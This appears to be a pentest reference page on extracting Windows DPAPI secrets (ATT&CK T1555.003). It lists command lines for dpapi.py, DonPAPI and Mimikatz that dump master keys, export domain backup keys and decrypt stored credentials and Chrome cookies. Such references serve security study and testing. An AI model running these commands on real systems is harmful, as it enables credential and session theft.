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DPAPI secrets

MITRE ATT&CK™ Sub-technique T1555.003

Theory

The DPAPI (Data Protection API) is an internal component in the Windows system. It allows various applications to store sensitive data (e.g. passwords). The data are stored in the users directory and are secured by user-specific master keys derived from the users password. They are usually located at:
C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID
Application like Google Chrome, Outlook, Internet Explorer, Skype use the DPAPI. Windows also uses that API for sensitive information like Wi-Fi passwords, certificates, RDP connection passwords, and many more.
Below are common paths of hidden files that usually contain DPAPI-protected data.
C:\Users\$USER\AppData\Local\Microsoft\Credentials\
C:\Users\$USER\AppData\Roaming\Microsoft\Credentials\

Practice

UNIX-like
Windows
From UNIX-like systems, DPAPI-data can be manipulated (mainly offline) with tools like dpapick (Python), dpapilab (Python), Impacket's dpapi.py and secretsdump.py (Python).
# (not tested) Decrypt a master key
dpapi.py masterkey -file "/path/to/masterkey_file" -sid $USER_SID -password $MASTERKEY_PASSWORD
# (not tested) Obtain the backup keys & use it to decrypt a master key
dpapi.py backupkeys -t $DOMAIN/$USER:$PASSWORD@$TARGET
dpapi.py masterkey -file "/path/to/masterkey_file" -pvk "/path/to/backup_key.pvk"
# (not tested) Decrypt DPAPI-protected data using a master key
dpapi.py credential -file "/path/to/protected_file" -key $MASTERKEY
DonPAPI (Python) can also be used to remotely extract a user's DPAPI secrets more easily. It supports pass-the-hash, pass-the-ticket and so on.
DonPAPI.py 'domain'/'username':'password'@<'targetName' or 'address/mask'>
On Windows systems Mimikatz (C) can be used to extract, decrypt or use specific master keys using specified passwords or given sufficient privileges.
# Extract and decrypt a master key
dpapi::masterkey /in:"C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID" /sid:$SID /password:$PASSWORD /protected
# Extract and decrypt all master keys
sekurlsa::dpapi
# Extract the backup keys & use it to decrypt a master key
lsadump::backupkeys /system:$DOMAIN_CONTROLLER /export
dpapi::masterkey /in:"C:\Users\$USER\AppData\Roaming\Microsoft\Protect\$SUID\$GUID" /pvk:$BACKUP_KEY_EXPORT_PVK
# Decrypt Chrome data
dpapi::chrome /in:"%localappdata%\Google\Chrome\User Data\Default\Cookies"
# Decrypt DPAPI-protected data using a master key
dpapi::cred /in:"C:\path\to\encrypted\file" /masterkey:$MASTERKEY

Resources